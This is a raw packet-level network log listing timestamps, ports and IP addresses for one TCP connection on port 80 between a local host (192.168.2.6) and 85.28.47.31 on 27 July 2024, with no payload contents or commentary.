Jul 27, 2024 03:19:16.308716059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.308731079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.308756113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.308756113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.308768034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.308782101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.308804035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.308818102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.308825016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.308825970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.308825016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.308845997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.308861017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.308873892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.308873892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.308876038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.308931112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.308931112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.309617996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309633017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309647083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309668064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309684992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309691906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.309691906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.309700012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309722900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309736013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309741974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309746027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.309746027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.309766054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309779882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309784889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.309784889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.309803009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309818029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309833050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309839964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.309839964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.309848070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309864044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.309890985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.309890985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.310797930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.310847998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.310861111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.310861111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.310861111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.310877085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.310899973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.310899973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.310926914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.310941935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.310956955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.310964108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.310964108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.310973883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.310995102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.310995102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.312228918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.312243938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.312258959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.312273026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.312285900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.312285900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.312289000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.312319040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.312334061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.312334061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.312334061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.312350988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.312365055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.312380075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.312382936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.312382936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.312397003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.312411070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.312433004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.312433004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.312433958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.312449932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.312494993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.312494993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.313121080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.313134909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.313148975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.313163042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.313186884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.313189030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.313189030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.313200951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.313209057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.313220024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.313234091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.313241959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.313241959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.313272953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.313272953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314033985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314059019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314074039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314095974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314100981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314100981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314114094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314129114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314140081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314140081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314146042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314169884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314169884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314579964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314595938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314610958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314624071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314624071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314635992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314650059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314657927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314657927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314666986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314686060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314691067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314691067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314702034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314726114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314726114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314779043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314791918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314805984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314815998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314815998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314821959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314836979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314845085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314845085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314852953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314867973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.314896107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.314897060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.317205906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.317205906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.331182003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.331203938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.331219912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.331243038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.331258059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.331271887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.331286907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.331286907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.331286907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.331304073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.331321001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.331335068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.331346035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.331346035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.331351042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.331366062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.331383944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.331399918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.331406116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.331406116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.331444979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.331444979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.435909986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.435961962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.435969114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.435985088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436033010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436033010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436069965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436084986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436100006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436115980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436119080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436120033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436196089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436451912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436491966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436491966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436558962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436573982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436589003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436614037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436616898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436616898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436628103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436636925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436651945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436675072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436676979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436676979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436691046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436713934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436713934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436722994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436738968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436753988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436760902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436760902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436770916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436784029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436793089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436793089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436804056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436825991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436825991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436825991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436852932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436875105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436875105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436877012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436893940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436894894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436909914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436925888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436929941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436929941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436939955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436955929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436955929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436970949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.436979055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436979055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.436989069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.437002897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.437002897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.437021971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.437026024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.437041998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.437041998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.437056065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.437060118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.437081099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.437094927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.437118053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.437118053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.437194109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.437877893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.437900066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.437926054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.437949896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.437958002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.437958002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.437967062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.437984943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.437992096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.437992096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.438010931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.438020945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.438020945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.438026905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.438064098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.438064098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.438803911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.438828945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.438843012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.438868999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.438868999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.438884974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.438889980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.438901901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.438918114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.438929081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.438934088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.438942909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.438951015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.438966036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.438990116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.439011097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.439832926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.439846039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.439893961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.439893961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.439907074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.439923048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.439943075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.439963102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.439963102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.439966917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.439982891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.440000057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.440007925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.440007925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.440038919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.440038919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.440835953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.440850973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.440866947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.440881014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.440893888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.440893888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.440896034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.440932035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.440932035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.440972090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.440988064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.441011906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.441011906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.441071033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.441806078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.441822052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.441836119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.441854954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.441876888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.441885948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.441885948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.441894054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.441910028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.441926003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.441931963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.441931963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.441941977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.441962957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.441962957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.442076921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.443778038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.443793058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.443809032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.443831921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.443833113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.443847895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.443872929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.443887949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.443906069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.443914890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.443922997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.443938971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.443938971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.443958998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.445096970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.445110083 CEST	80	49710	85.28.47.31	192.168.2.6
